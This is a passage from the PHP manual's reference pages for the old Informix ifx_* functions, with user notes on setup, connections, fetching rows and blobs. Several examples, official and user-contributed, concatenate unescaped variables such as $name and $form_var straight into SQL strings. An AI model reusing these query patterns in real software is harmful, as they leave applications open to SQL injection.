I was unable to make PHP with v2.80 of the csdk (as it complained about mktemp being dangerous and how ctype was undefined. After downloading csdk 2.90, I was able to make PHP with no problems at all. (--with-informix).

There goes 2 days of my life!

Feel free to drop me an email at ian_at_devtonic_dot_com if you have any questions.
drsound
01-Nov-2004 02:20
I just wrote a mini-HOWTO about adding Informix support to mod_php running on a Gentoo Linux server (x86). I wanted to post it here but it was too long. You can find it on http://forums.gentoo.org/viewtopic.php?t=245249 (just in case for some reason they change the thread number, the title is "HOWTO: PHP Informix client support").
jeff at domintcom dot com
27-Oct-2002 02:06
add the following to /etc/profile (right before unset i (adjust to your needs)

export INFORMIXDIR=/opt/informix
export ODBCINI=/usr/local/etc/odbc.ini
export INFORMIXSERVER=m_srv

then add the following to your httpd.conf

PassEnv INFORMIXDIR
PassEnv ODBCINI
PassEnv INFORMIXSERVER

(or you can use SetEnv SetEnv INFORMIXDIR /opt/informix  etc.)
cornecNOSPAM at reach dot NO_SPAM dot com
15-Oct-2002 11:14
I upgraded to csdk-2.70.UC3-1 and got the following error when trying to start apache:

Syntax error on line 205 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: /opt/informix/lib/esql/libifgen.so: undefined symbol: stat
/usr/local/apache/bin/apachectl start: httpd could not be started

This machine has glibc 2.3.5

The following fixed the problem for me (surely there's a better fix) but i'm not sure how it might affect other programs linked to libifgen

mkdir /tmp/ifx
cd /tmp/ifx
ar x $INFORMIXDIR/lib/esql/libifgen.a
gcc -shared -o libifgen.so *.o
cp libifgen.so $INFORMIXDIR/lib/esql
programacion at afinformatica dot com
27-May-2002 10:38
I have compile php-4.0.6 with informix support (dynamic) and when I try to
start apache, it gives me this error message:

Syntax error on line 246 of /etc/httpd/httpd.conf:
Cannot load /usr/lib/apache/libphp4.so into server: /home/informix7/lib/esql/lib
ifgen.so: undefined symbol: stat
/usr/sbin/apachectl start: httpd could not be started
isaac dot hopley at morton-fraser dot NO_SPAM dot com
15-Nov-2001 08:54
If you are tring to access an Informix Online 5.x server over the
network (ie from a webserver) using PHP, be aware that Online
doesn't support network communications as standard unlike later versions.

You need the Informix product 'I-Star' on your Online server.
This will allow your webserver with the informix client SDK
installed to communicate natively (ESQL).

Thanks go to Mario @ PRS for this info.
old dot wolf at project-w dot com
27-Jul-2001 02:40
An intermittent SQL error -25580 is caused by using the wrong glibc version in Linux.

I have this working correctly in Linux (x86) with Informix Client SDK for 2.70UC-1 for Linux, with glibc 2.1.3.

Originally I had glibc 2.1.1 (Red Hat 6), which gave the intermittent error, but upgrading glibc fixed it.

The Informix Client SDKs can be downloaded from www.informix.com (you need to own an Informix database to log on), and glibc is at ftp://ftp.gnu.org/gnu/glibc .
MarkRoedel at letu dot edu
03-Mar-2001 08:19
There's also a FreeBSD version of the client libraries that'll work with PHP.  It's not available for download from their website, but you can request a copy (cd or electronic delivery) by calling Informix Customer Support at 1-800-274-8184 option 3.

Some customer service reps know more about alternative operating systems than others, so you may have to do a bit of educating before they can locate the product in their database, but it's definitely there.

My e-mail confirmation referred to it as "Orderable Part Number 100-15871-204057-1", although that number may be specific to the electronically-delivered edition.
robernet at music-images dot com
26-Sep-2000 10:29
Verify with phpinfo() that you have informix module compiled in php.
Also verify that env vars INFORMIXDIR, INFORMIXSERVER, LD_LIBRARY_PATH are set, and that PATH have a route to your informix subdir.
add a note add a note

后退 | 起点 | 前进
imap_utf8 | 上一级 | ifx_affected_rows


ifx_affected_rows

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_affected_rows -- Get number of rows affected by a query

Description

int ifx_affected_rows ( int result_id )

result_id is a valid result id returned by ifx_query() or ifx_prepare().

Returns the number of rows affected by a query associated with result_id.

For inserts, updates and deletes the number is the real number (sqlerrd[2]) of affected rows. For selects it is an estimate (sqlerrd[0]). Don't rely on it. The database server can never return the actual number of rows that will be returned by a SELECT because it has not even begun fetching them at this stage (just after the "PREPARE" when the optimizer has determined the query plan).

Useful after ifx_prepare() to limit queries to reasonable result sets.

例子 1. Informix affected rows

<?php
$rid = ifx_prepare("select * from emp
                     where name like " . $name, $connid);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
?>

See also ifx_num_rows().

add a note add a note User Contributed Notes
akh at eurotax dot com
17-May-2002 02:43
ifx_num_rows and ifx_affected_rows are buggy or documentation is not completed. They returns unexpected results, therefore not reliable. Programmers should not trust those functions. You can simply get the num of affected rows from a select query by walking through the result of the ifx_query.
akh at eurotax dot com
30-Jan-2001 08:10
int ifx_affected_rows(int result): This function returns not the exact number of rows affected as it sounds by its name, it returns estimated sometimes it will return 1 for a table that does not contains any data!!!
add a note add a note

后退 | 起点 | 前进
Informix Functions | 上一级 | ifx_blobinfile_mode


ifx_blobinfile_mode

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_blobinfile_mode -- Set the default blob mode for all select queries

Description

void ifx_blobinfile_mode ( int mode )

Set the default blob mode for all select queries. Mode "0" means save Byte-Blobs in memory, and mode "1" means save Byte-Blobs in a file.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_affected_rows | 上一级 | ifx_byteasvarchar


ifx_byteasvarchar

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_byteasvarchar -- Set the default byte mode

Description

void ifx_byteasvarchar ( int mode )

Sets the default byte mode for all select-queries. Mode "0" will return a blob id, and mode "1" will return a varchar with text content.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_blobinfile_mode | 上一级 | ifx_close


ifx_close

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_close -- Close Informix connection

Description

int ifx_close ( [int link_identifier] )

Returns: always TRUE.

ifx_close() closes the link to an Informix database that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

ifx_close() will not close persistent links generated by ifx_pconnect().

例子 1. Closing a Informix connection

<?php
$conn_id = ifx_connect ("mydb@ol_srv", "itsme", "mypassword");
/* ... some queries and stuff ... */
ifx_close($conn_id);
?>

See also ifx_connect() and ifx_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_byteasvarchar | 上一级 | ifx_connect


ifx_connect

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_connect -- Open Informix server connection

Description

int ifx_connect ( [string database [, string userid [, string password]]] )

Returns a connection identifier on success, or FALSE on error.

ifx_connect() establishes a connection to an Informix server. All of the arguments are optional, and if they're missing, defaults are taken from values supplied in configuration file (ifx.default_host for the host (Informix libraries will use INFORMIXSERVER environment value if not defined), ifx.default_user for user, ifx.default_password for the password (none if not defined).

In case a second call is made to ifx_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ifx_close().

例子 1. Connect to a Informix database

<?php
$conn_id = ifx_connect ("mydb@ol_srv1", "imyself", "mypassword");
?>

See also ifx_pconnect() and ifx_close().

add a note add a note User Contributed Notes
bernd dot newman at t-online dot de
11-Apr-2003 06:00
Problem with INFORMIX-Access with PHP4, WIN NT 4.0?

1. php.ini: extension=php_ifx.dll
2. Path: Informix/BIN
3. httpd.conf: PassEnv INFORMIXSERVER
                   PassEnv INFORMIXDIR
4. use the Informix-tool regcopy.exe to copy the registry settings in the system-account.

good luck!
twins3n at yahoo dot com
27-Jan-2003 09:51
Informix is a real dog to figure out because of the stupid names used for variables. After struggling for ages I figured it out....

I was connecting to an Informix SE 5.07 db.

INFORMIXSERVER is the first column of the entry in the sqlhosts file NOT the IP or name of the server.
INFORMIXHOME is the base directory of the client installation eg. /opt/informix
Set these variables in /etc/profile and PassEnv them in your Apache httpd.conf file to php.

My connect string is like this:
ifx_connect("/home/cserver/cdb/csdb@local_se, "user", "pass")

The /home/cserver/cdb/csdb is the path to the db file.
local_se is the same as INFORMIXSERVER

I hope this helps some people since the Informix documentation really sucks.
add a note add a note

后退 | 起点 | 前进
ifx_close | 上一级 | ifx_copy_blob


ifx_copy_blob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_copy_blob -- Duplicates the given blob object

Description

int ifx_copy_blob ( int bid )

Duplicates the given blob object. bid is the ID of the blob object.

Returns FALSE on error otherwise the new blob object-id.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_connect | 上一级 | ifx_create_blob


ifx_create_blob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_create_blob -- Creates an blob object

Description

int ifx_create_blob ( int type, int mode, string param )

Creates an blob object.

type: 1 = TEXT, 0 = BYTE

mode: 0 = blob-object holds the content in memory, 1 = blob-object holds the content in file.

param: if mode = 0: pointer to the content, if mode = 1: pointer to the filestring.

Return FALSE on error, otherwise the new blob object-id.

add a note add a note User Contributed Notes
mazza at radiumsystems dot com dot br
18-May-2000 05:51
How To ifx_create_blob():

//1st call it and put result into an array
$blobs[] = ifx_create_blob($type, $mode, $data);
//do it as many times as needed
//then you use it to call ifx_query
ifx_query($stmt, $conn, $cursor, $blobs);
add a note add a note

后退 | 起点 | 前进
ifx_copy_blob | 上一级 | ifx_create_char


ifx_create_char

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ifx_create_char -- Creates an char object

Description

int ifx_create_char ( string param )

Creates an char object. param should be the char content.

add a note add a note User Contributed Notes
punk_yack at mail dot ru
22-Oct-2004 06:29
I do this:
<?
$_memo = ifx_create_char($memo);
$char_id_array[]=$_memo;

$query_string='INSERT INTO news (product_date, header, memo) values (CURRENT, "'.$header.'", ? )';

$res_id = ifx_prepare($query_string, $conn_id, $charidarray);
ifx_do($res_id));
?>

What is a reason to this construction not works?
add a note add a note

后退 | 起点 | 前进
ifx_create_blob | 上一级 | ifx_do


ifx_do

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_do -- Execute a previously prepared SQL-statement

Description

int ifx_do ( int result_id )

如果成功则返回 TRUE，失败则返回 FALSE。

Executes a previously prepared query or opens a cursor for it.

Does NOT free result_id on error.

Also sets the real number of ifx_affected_rows() for non-select statements for retrieval by ifx_affected_rows()

See also: ifx_prepare().

add a note add a note User Contributed Notes
icespawn11882 at hotmail dot com
05-Mar-2005 12:57
This is an example to use this function

$conn = fx_connect( "db", "user", "password" );
$result = ifx_prepare("SELECT customer_num, company FROM customer", $conn);
ifx_do($result);

ifx_prepare associate an int to the query; we use this int with ifx_do

Para Massimiliano
add a note add a note

后退 | 起点 | 前进
ifx_create_char | 上一级 | ifx_error


ifx_error

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_error -- Returns error code of last Informix call

Description

string ifx_error ( void )

The Informix error codes (SQLSTATE & SQLCODE) formatted as follows :

x [SQLSTATE = aa bbb SQLCODE=cccc]

where x = space : no error

E : error

N : no more data

W : warning

? : undefined

If the "x" character is anything other than space, SQLSTATE and SQLCODE describe the error in more detail.

See the Informix manual for the description of SQLSTATE and SQLCODE

Returns in a string one character describing the general results of a statement and both SQLSTATE and SQLCODE associated with the most recent SQL statement executed. The format of the string is "(char) [SQLSTATE=(two digits) (three digits) SQLCODE=(one digit)]". The first character can be ' ' (space) (success), 'W' (the statement caused some warning), 'E' (an error happened when executing the statement) or 'N' (the statement didn't return any data).

See also: ifx_errormsg()

add a note add a note User Contributed Notes
nicks at baygate dot com
25-Apr-2000 04:35
You can do the queries ROLLBACK WORK, BEGIN WORK, COMMIT WORK with a call to
ifx_query()
Below is an example of how I handle a rollback.
function failure_exit()
{
   global $conn;
   $exec = ifx_query("ROLLBACK WORK", $conn);
   if(!$exec)
   {
     $err = ifx_errormsg();
     HandleError("db","other","failure_exit():ifx_query():  'ROLLBACK WORK' - $err", 0);
   }
   @ifx_close($conn);
   exit();
}
add a note add a note

后退 | 起点 | 前进
ifx_do | 上一级 | ifx_errormsg


ifx_errormsg

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_errormsg -- Returns error message of last Informix call

Description

string ifx_errormsg ( [int errorcode] )

Returns the Informix error message associated with the most recent Informix error, or, when the optional "errorcode" parameter is present, the error message corresponding to "errorcode".

例子 1. ifx_errormsg() example

printf("%s\n&lt;br>", ifx_errormsg(-201));

See also ifx_error().

add a note add a note User Contributed Notes
monts at netcabo dot pt
30-Mar-2005 07:03
The support for message-strings send by triggers is not implemented.

The common error send by triggers is the -746.
In the sqlerrm is the message for the error returned from a trigger.

This driver does not take this in mind.

Sorry for my bad english...

J. Montenegro
sven at sveni dot com
04-Feb-2005 08:45
Nice function to call. Very helpfull if you want to use in combination with an own ErrorHandler. But informix error recognition seems just to work directly after calling a informix function.

/**
 * checks weater error has occured or not
 * @return false if no error, else error message
 */
function db_error_occured()
{
   $err_code = ifx_error();
   if (substr($err_code,0,1) != ' ') {
       return ifx_errormsg();
   }
   else {
       return false;
   }
} //db_error_occured
add a note add a note

后退 | 起点 | 前进
ifx_error | 上一级 | ifx_fetch_row


ifx_fetch_row

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_fetch_row -- Get row as enumerated array

Description

array ifx_fetch_row ( int result_id [, mixed position] )

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

Blob columns are returned as integer blob id values for use in ifx_get_blob() unless you have used ifx_textasvarchar(1) or ifx_byteasvarchar(1), in which case blobs are returned as string values. Returns FALSE on error

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

position is an optional parameter for a "fetch" operation on "scroll" cursors: "NEXT", "PREVIOUS", "CURRENT", "FIRST", "LAST" or a number. If you specify a number, an "absolute" row fetch is executed. This parameter is optional, and only valid for SCROLL cursors.

ifx_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0, with the column name as key.

Subsequent calls to ifx_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

例子 1. Informix fetch rows

<?php
$rid = ifx_prepare ("select * from emp where name like " . $name,
                     $connid, IFX_SCROLL);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
if (! ifx_do ($rid)) {
   /* ... error ... */
}
$row = ifx_fetch_row ($rid, "NEXT");
while (is_array($row)) {
    for (reset($row); $fieldname=key($row); next($row)) {
        $fieldvalue = $row[$fieldname];
        printf ("%s = %s,", $fieldname, $fieldvalue);
    }
    printf("\n<br />");
    $row = ifx_fetch_row($rid, "NEXT");
}
ifx_free_result ($rid);
?>

add a note add a note User Contributed Notes
michael(at)webstaa(cot)com
10-Feb-2006 08:22
If you want the result as an enumerated array try:
<?php
   $row = array_values ( ifx_fetch_row ( $result ));
?>
steve at kayess dot com dot au
28-Sep-2004 05:02
When using a stored procedure to retrieve data use
the following to identify columns:

while($row = ifx_fetch_row($result))
{
     echo $row['[Expr1]']."<br />";
     echo $row['[Expr2]'];
}

'[Expr_]' is what is returned as the identifier.
dorn at bakcommunications dot com
27-Apr-2003 11:56
Simple example of fetching rows for data results:

<html>
<?php
$database = "xxx";
$host = "yyy";
$user = "username";
$pass = "password";
if (!$connect_id = ifx_connect("$database@$host", $user, $pass)) {
   echo "Unable to connect to Informix Database\n";
   exit();
}
$sql = "select customer, quantity from order";
$result = ifx_query($sql, $connect_id) or die ("couldn't execute the query");
?>
<table>
<tr>
<?php
   while ($row = ifx_fetch_row($result)) {
   echo "<td>".$row['customer']."</td>";
   echo "<td>".$row['quantity']."</td>\n";
   }
ifx_free_result($result);
ifx_close($connect_id);
?>
</tr>
</table>
</html>
26-Apr-2001 06:01
Note a small piece of errata.. I was playing with writing my own ESQL/C programs, and left an a.out file in INFORMIXDIR.. my PHP applications would not run until I deleted this file.

Arh.
26-Apr-2001 06:00
This is kind've nasty.

Warning: Can not fetch row on cursor E [SQLSTATE=IX 000 SQLCODE=-461] (cursor10) in
/home/httpd/hosts/oswego/stars/UserEditFind.php on line 30

Occasionally this is seen from an ifx_fetch_row command.. note that it seems the fetch_row works perfectly fine, however, it will still output this error randomly and sometimes frighten Joe User.

Make sure you place an @ symbol in front of all ifx_fetch_rows, otherwise you'll get a lot of meaningless phonecalls.

Somewhat annoying..

FYI, -461 is 'file open error'
michaeld at miller-group dot net
15-Mar-2001 03:37
Note that this does NOT return an enumerated array, as the top line of this page would have you believe.  It ONLY returns an associative array.

As well, the key values are ALL lower-case, regardless of the SELECT statement or database field names, which is kind've annoying.  I really wish there was an ifx_fetch_array similar to that available for MySQL.  (submitted a feature request.)
rpuchalsky at att dot net
12-Jan-2001 04:23
If you use a select statement that
identifies fields according to which
table they come from, i.e.

select tab1.name, tab2.phone from
tab1, tab2
where tab1.id = tab2.id

then the associative keys of the array returned by ifx_fetch_row will not include the table names.  For the example above, if you used

$row = ifx_fetch_row ($rid);

then the first field in the
returned array would be $row["name"],
not $row["tab1.name"] .
kgolding at webcom dot com dot au
28-Sep-2000 04:38
If you want to do an absolute fetch and you want to use a value stored in a variable to specify the row number to get, then you have to cast your variable to type "int".
eg. $row = ifx_fetch_row ($res_id, (int)$row_to_get);
The (int) before the variable named $row_to_get is the bit that does the cast. If you don't do this then you get the following error:
Warning: invalid positioning arg on fetch in...
add a note add a note

后退 | 起点 | 前进
ifx_errormsg | 上一级 | ifx_fieldproperties


ifx_fieldproperties

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_fieldproperties -- List of SQL fieldproperties

Description

array ifx_fieldproperties ( int result_id )

Returns an associative array with fieldnames as key and the SQL fieldproperties as data for a query with result_id. Returns FALSE on error.

Returns the Informix SQL fieldproperties of every field in the query as an associative array. Properties are encoded as: "SQLTYPE;length;precision;scale;ISNULLABLE" where SQLTYPE = the Informix type like "SQLVCHAR" etc. and ISNULLABLE = "Y" or "N".

例子 1. Informix SQL fieldproperties

<?php
$properties = ifx_fieldproperties($resultid);
if (!isset($properties)) {
    /* ... error ... */
}
foreach ($properties as $fname => $val) {
    echo "$fname:\t property = $val\n";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_fetch_row | 上一级 | ifx_fieldtypes


ifx_fieldtypes

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_fieldtypes -- List of Informix SQL fields

Description

array ifx_fieldtypes ( int result_id )

Returns an associative array with fieldnames as key and the SQL fieldtypes as data for query with result_id. Returns FALSE on error.

例子 1. Fieldnames and SQL fieldtypes

<?php
$types = ifx_fieldtypes($resultid);
if (!isset($types)) {
    /* ... error ... */
}
foreach ($types as $fname => $val) {
    echo "$fname:\t type = $val\n";
}
?>

add a note add a note User Contributed Notes
lord_edd at hotmail dot com
30-Apr-2002 09:46
Alternativly i found you can always do it like this using the foreach() loop...

   $types = @ifx_fieldtypes($resultid);
   if (isset($types))
   {
     foreach($types as $field_name => $data_type)
     {
         echo "{$field_name} {$data_type}";
     }
   }
add a note add a note

后退 | 起点 | 前进
ifx_fieldproperties | 上一级 | ifx_free_blob


ifx_free_blob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_free_blob -- Deletes the blob object

Description

int ifx_free_blob ( int bid )

Deletes the blobobject for the given blob object-id bid. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_fieldtypes | 上一级 | ifx_free_char


ifx_free_char

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ifx_free_char -- Deletes the char object

Description

int ifx_free_char ( int bid )

Deletes the charobject for the given char object-id bid. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_free_blob | 上一级 | ifx_free_result


ifx_free_result

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_free_result -- Releases resources for the query

Description

int ifx_free_result ( int result_id )

Releases resources for the query associated with result_id. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_free_char | 上一级 | ifx_get_blob


ifx_get_blob

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_get_blob -- Return the content of a blob object

Description

int ifx_get_blob ( int bid )

Returns the content of the blob object for the given blob object-id bid.

add a note add a note User Contributed Notes
mazza at radiumsystems dot com dot br
18-May-2000 06:47
blobid comes from query!
add a note add a note

后退 | 起点 | 前进
ifx_free_result | 上一级 | ifx_get_char


ifx_get_char

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ifx_get_char -- Return the content of the char object

Description

int ifx_get_char ( int bid )

Returns the content of the char object for the given char object-id bid.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_get_blob | 上一级 | ifx_getsqlca


ifx_getsqlca

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ifx_getsqlca -- Get the contents of sqlca.sqlerrd[0..5] after a query

Description

array ifx_getsqlca ( int result_id )

result_id is a valid result id returned by ifx_query() or ifx_prepare().

Returns a pseudo-row (associative array) with sqlca.sqlerrd[0] ... sqlca.sqlerrd[5] after the query associated with result_id.

For inserts, updates and deletes the values returned are those as set by the server after executing the query. This gives access to the number of affected rows and the serial insert value. For SELECTs the values are those saved after the PREPARE statement. This gives access to the *estimated* number of affected rows. The use of this function saves the overhead of executing a "select dbinfo('sqlca.sqlerrdx')" query, as it retrieves the values that were saved by the ifx driver at the appropriate moment.

例子 1. Retrieve Informix sqlca.sqlerrd[x] values

<?php
/* assume the first column of 'sometable' is a serial */
$qid = ifx_query("insert into sometable
                  values (0, '2nd column', 'another column') ", $connid);
if (!$qid) {
    /* ... error ... */
}
$sqlca = ifx_getsqlca($qid);
$serial_value = $sqlca["sqlerrd1"];
echo "The serial value of the inserted row is : $serial_value<br />\n";
?>

add a note add a note User Contributed Notes
16-Aug-2002 01:10
See ESQL/C Programmer's Guide for info on the sqlca structure.
add a note add a note

后退 | 起点 | 前进
ifx_get_char | 上一级 | ifx_htmltbl_result


ifx_htmltbl_result

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_htmltbl_result -- Formats all rows of a query into a HTML table

Description

int ifx_htmltbl_result ( int result_id [, string html_table_options] )

Returns the number of rows fetched or FALSE on error.

Formats all rows of the result_id query into a HTML table. The optional second argument is a string of <table> tag options

例子 1. Informix results as HTML table

<?php
$rid = ifx_prepare ("select * from emp where name like " . $name,
                     $connid, IFX_SCROLL);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows ($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
if (! ifx_do($rid)) {
    /* ... error ... */
}

ifx_htmltbl_result ($rid, "border=\"2\"");

ifx_free_result($rid);
?>

add a note add a note User Contributed Notes
konkukkim at kr dot qrio dot com
25-Oct-2001 07:49
Function ifx_htmltbl_result supports
blob data type, too. I hope this will help you.
alvarope at hotmail dot com
09-Aug-2001 09:50
This function is very useful even when you need to format the table (you can use style css) or you want to add links in a field, you can do like this:

$conn = ifx_connect ("dbpath@server","user","pass")OR die ("Could not Connect");
$query = "select fname as Name, '<a href=phppage.php?var='||appno||'>'||sname||'</a>' as Surname  from tab02 where sname like '$form_var%'";
/* You can select the name of the column with the 'as' and add the link */
$res = ifx_query($query, $conn);
ifx_htmltbl_result ($res, "border=\"2\"");
ifx_free_result($resultado);
ifx_close($conexion);
add a note add a note

后退 | 起点 | 前进
ifx_getsqlca | 上一级 | ifx_nullformat


ifx_nullformat

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_nullformat -- Sets the default return value on a fetch row

Description

void ifx_nullformat ( int mode )

Sets the default return value of a NULL-value on a fetch row. Mode "0" returns "", and mode "1" returns "NULL".

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_htmltbl_result | 上一级 | ifx_num_fields


ifx_num_fields

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_num_fields -- Returns the number of columns in the query

Description

int ifx_num_fields ( int result_id )

Returns the number of columns in query for result_id or FALSE on error

After preparing or executing a query, this call gives you the number of columns in the query.

add a note add a note User Contributed Notes
icespawn11882 at hotmail dot com
05-Mar-2005 12:54
An example of this function:

$conn_id = ifx_connect("db", "user", "password");
$res_id = ifx_query("select * from systables", $conn_id);
$res = ifx_num_fields($res_id);
echo $res;

$res contains the number of columns in the query after his execution.

Para Massimiliano
add a note add a note

后退 | 起点 | 前进
ifx_nullformat | 上一级 | ifx_num_rows


ifx_num_rows

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_num_rows -- Count the rows already fetched from a query

Description

int ifx_num_rows ( int result_id )

Gives the number of rows fetched so far for a query with result_id after a ifx_query() or ifx_do() query.

add a note add a note User Contributed Notes
icespawn11882 at hotmail dot com
21-Apr-2005 06:56
This function give always 0 as result so I used ifx_affected_rows to count rows of a query's result...

An example of this function:

$conn_id = ifx_connect("db", "user", "password");
$res_id = ifx_query("select * from systables", $conn_id);
$res = ifx_affected_rows($res_id);
echo $res;

$res contains the number of rows in the result of the query after his execution.

Para Massimiliano
add a note add a note

后退 | 起点 | 前进
ifx_num_fields | 上一级 | ifx_pconnect


ifx_pconnect

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_pconnect -- Open persistent Informix connection

Description

int ifx_pconnect ( [string database [, string userid [, string password]]] )

Returns: A positive Informix persistent link identifier on success, or FALSE on error

ifx_pconnect() acts very much like ifx_connect() with two major differences.

This function behaves exactly like ifx_connect() when PHP is not running as an Apache module. First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ifx_close() will not close links established by ifx_pconnect()).

This type of links is therefore called 'persistent'.

See also: ifx_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ifx_num_rows | 上一级 | ifx_prepare


ifx_prepare

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ifx_prepare -- Prepare an SQL-statement for execution

Description

int ifx_prepare ( string query, int conn_id [, int cursor_def, mixed blobidarray] )

Returns an integer result_id for use by ifx_do(). Sets affected_rows for retrieval by the ifx_affected_rows() function.

Prepares query on connection conn_id. For "select-type" queries a cursor is declared and opened. The optional cursor_type parameter allows you to make this a "scroll" and/or "hold" cursor. It's a bitmask and can be either IFX_SCROLL, IFX_HOLD, or both or'ed together.

For either query type the estimated number of affected rows is saved for retrieval by ifx_affected_rows().

If you have BLOB (BYTE or TEXT) columns in the query, you can add a blobidarray parameter containing the corresponding "blob ids", and you should replace those columns with a "?" in the query text.

If the contents of the TEXT (or BYTE) column allow it, you can also use "ifx_textasvarchar(1)" and "ifx_byteasvarchar(1)". This allows you to treat TEXT (or BYTE) columns just as if they were ordinary (but long) VARCHAR columns for select queries, and you don't need to bother with blob id's.

With ifx_textasvarchar(0) or ifx_byteasvarchar(0) (the default situation), select queries will return BLOB columns as blob id's (integer value). You can get the value of the blob as a string or file with the blob functions (see below).

See also: ifx_do().

add a note add a note User Contributed Notes
icespawn11882 at hotmail dot com
03-Mar-2005 12:41
This is an example to use this function

$conn = fx_connect( "db", "user", "password" );
$result = ifx_prepare("SELECT customer_num, company FROM customer", $conn);
ifx_do($result);

ifx_prepare associate an int to the query; we use this int with ifx_do

Para Massimiliano
phpervy
09-Dec-2004 08:31
That's seem to be strange.

'select * from my_table where field_1 = ?'

Suppose we have table:
my_table(
   filed_1    integer,
   fileld_2  integer
);

Please NOTE, that field_1 is a regular type not BLOB|TEXT

ifx_prepare() doesn't return any error for the following sql:

But I have NO way to supply a certain value to ifx_do()
function - it does't have any parameters accept $result_id
add a note add a note

后退 | 起点 | 前进
ifx_pconnect | 上一级 | ifx_query


ifx_query

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ifx_query -- Send Informix query

Description

int ifx_query ( string query, int link_identifier [, int cursor_type [, mixed blobidarray]] )

Returns a positive Informix result identifier on success, or FALSE on error.

A "result_id" resource used by other functions to retrieve the query results. Sets "affected_rows" for retrieval by the ifx_affected_rows() function.

ifx_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Executes query on connection conn_id. For "select-type" queries a cursor is declared and opened. The optional cursor_type parameter allows you to make this a "scroll" and/or "hold" cursor. It's a bitmask and can be either IFX_SCROLL, IFX_HOLD, or both or'ed together. Non-select queries are "execute immediate". IFX_SCROLL and IFX_HOLD are symbolic constants and as such shouldn't be between quotes. I you omit this parameter the cursor is a normal sequential cursor.

For either query type the number of (estimated or real) affected rows is saved for retrieval by ifx_affected_rows().

If you have BLOB (BYTE or TEXT) columns in an update query, you can add a blobidarray parameter containing the corresponding "blob ids", and you should replace those columns with a "?" in the query text.

If the contents of the TEXT (or BYTE) column allow it, you can also use "ifx_textasvarchar(1)" and "ifx_byteasvarchar(1)". This allows you to treat TEXT (or BYTE) columns just as if they were ordinary (but long) VARCHAR columns for select queries, and you don't need to bother with blob id's.

With ifx_textasvarchar(0) or ifx_byteasvarchar(0) (the default situation), select queries will return BLOB columns as blob id's (integer value). You can get the value of the blob as a string or file with the blob functions (see below).

例子 1. Show all rows of the "orders" table as a HTML table

<?php
ifx_textasvarchar(1);      // use "text mode" for blobs
$res_id = ifx_query("select * from orders", $conn_id);
if (! $res_id) {
    printf("Can't select orders : %s\n<br />%s<br />\n", ifx_error());
    ifx_errormsg();
    die;
}
